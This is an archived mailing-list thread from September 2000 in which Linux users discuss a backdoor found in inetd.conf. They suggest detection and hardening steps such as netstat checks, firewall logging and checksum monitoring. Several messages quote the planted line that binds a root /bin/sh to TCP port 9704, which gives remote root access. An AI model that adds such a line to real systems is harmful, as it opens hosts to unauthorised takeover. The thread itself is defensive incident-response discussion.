Re: highly suspicious line in inetd.conf

2000-09-12 Thread Hal Burgiss
On Tue, Sep 12, 2000 at 12:00:58PM -0400, rpjday wrote: > On Tue, 12 Sep 2000, Hal Burgiss wrote: > > > On Tue, Sep 12, 2000 at 09:54:30AM -0500, Jonathan Wilson wrote: > > > I was just thinking. I know there's trip wire and stuff. but it would be > > > neat to have cron run a script, that did m

Re: highly suspicious line in inetd.conf

2000-09-12 Thread Gordon Messmer
On Mon, 11 Sep 2000, Martin Brown wrote: > The man page for 'netstat' on my system [RH 6.1] does not mention the '-a' > option. What does it do? On my system, the man page says: -a, --all The -a, --all option will print information about all sockets, including the listeni

Re: highly suspicious line in inetd.conf

2000-09-12 Thread Chuck Mead
On Tue, 12 Sep 2000, tsombakos, mark spewed into the bitstream: tm>Rat B*STARD! tm> tm>I thought I'd check out my inetd.conf too. I'd been looking tm>at the log files daily, and I was usnig "snort" to tm>watch for suspicious activity (mind you, I'm little tm>more than a mere novice) tm> tm>Same

RE: highly suspicious line in inetd.conf

2000-09-12 Thread Eric Knudstrup
ary? Eric > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED]]On Behalf Of Hal Burgiss > Sent: Tuesday, September 12, 2000 8:33 AM > To: [EMAIL PROTECTED] > Subject: Re: highly suspicious line in inetd.conf > > > On Tue, Sep 12, 2000 at 09

Re: highly suspicious line in inetd.conf

2000-09-12 Thread tsombakos, mark
router that doesn't forward that port. That's my current theory :) Mark > > Message: 14 > Date: Tue, 12 Sep 2000 09:54:30 -0500 > To: [EMAIL PROTECTED] > From: [EMAIL PROTECTED] (Jonathan Wilson) > Subject: Re: highly suspicious line in inetd.conf > Reply-To: [E

Re: highly suspicious line in inetd.conf

2000-09-12 Thread rpjday
On Tue, 12 Sep 2000, Hal Burgiss wrote: > On Tue, Sep 12, 2000 at 09:54:30AM -0500, Jonathan Wilson wrote: > > I was just thinking. I know there's trip wire and stuff. but it would be > > neat to have cron run a script, that did md5sum "checks" on various things, > > and mailed you, if the sum

Re: highly suspicious line in inetd.conf

2000-09-12 Thread Hal Burgiss
On Tue, Sep 12, 2000 at 09:54:30AM -0500, Jonathan Wilson wrote: > I was just thinking. I know there's trip wire and stuff. but it would be > neat to have cron run a script, that did md5sum "checks" on various things, > and mailed you, if the sum changed on anything that's in it's list. Anyone

Re: highly suspicious line in inetd.conf

2000-09-12 Thread Charles Galpin
check freshmeat, today or yesterday, something was posted that does just that. On Tue, 12 Sep 2000, Jonathan Wilson wrote: > I was just thinking. I know there's trip wire and stuff. but it would be > neat to have cron run a script, that did md5sum "checks" on various things, > and mailed you,

Re: highly suspicious line in inetd.conf

2000-09-12 Thread Jonathan Wilson
nd you, I'm little >more than a mere novice) > >Same damn line. Looks like I know what I'm doing this >weekend and learning IPCHAINS. > >Thanks, all. I would probably have never thought to look >there. > >Mark > > > > > > Message: 2> Message

Re: highly suspicious line in inetd.conf

2000-09-12 Thread tsombakos, mark
kend and learning IPCHAINS. Thanks, all. I would probably have never thought to look there. Mark > > Message: 2> Message: 3 > Date: Mon, 11 Sep 2000 16:22:58 -0500 > From: "Michael R. Jinks" <[EMAIL PROTECTED]> > To: [EMAIL PROTECTED] > Subject: Re: highly

RE: highly suspicious line in inetd.conf

2000-09-11 Thread Chad W. Skinner
I don't know anything about hacking a box, but if this guy/gal left this gaping hole and you don't have logs saying where s/he came from I would probably setup IP chains to log all connection attempts to the box on this port. Maybe he is bright enough to log in from a static IP. ___

Re: highly suspicious line in inetd.conf

2000-09-11 Thread Martin Brown
On Mon, 11 Sep 2000, Gordon Messmer wrote: > I suggest you : > netstat -avnp | grep LISTEN > Thank you for the above piece of "code". The man page for 'netstat' on my system [RH 6.1] does not mention the '-a' option. What does it do? In my case, there are more inetd services listening than a

Re: highly suspicious line in inetd.conf

2000-09-11 Thread wYRd
>Yep, that's an unashamed hack. This is your average "I'm too stupid to >_hide_ the back door, so I'll hope that no one looks" script kiddie >signature. found more info on the cert site. right off the rpc.statd vulnerability warning ( not a very creative cracker. I mean jeeze, at least change t

Re: highly suspicious line in inetd.conf

2000-09-11 Thread Gordon Messmer
On Mon, 11 Sep 2000, wYRd wrote: > Looking over a clients system I found the following > line in inetd.con: > 9704 stream tcp nowait root /bin/sh sh -i Yep, that's an unashamed hack. This is your average "I'm too stupid to _hide_ the back door, so I'll hope that no one looks" script kiddie si

Re: highly suspicious line in inetd.conf

2000-09-11 Thread Michael R. Jinks
On Mon, Sep 11, 2000 at 02:04:37PM -0700, wYRd wrote: > > Looking over a clients system I found the following > line in inetd.con: > 9704 stream tcp nowait root /bin/sh sh -i EEK! > telnet to the port and instant root access. Yup. > A quick look around didn't reveal any obvious > problems.

Re: highly suspicious line in inetd.conf

2000-09-11 Thread Chuck Mead
On Mon, 11 Sep 2000, wYRd spewed into the bitstream: w> w>Looking over a clients system I found the following w>line in inetd.con: w> 9704 stream tcp nowait root /bin/sh sh -i w> w>telnet to the port and instant root access. w> w>A quick look around didn't reveal any obvious w>problems. I'm wor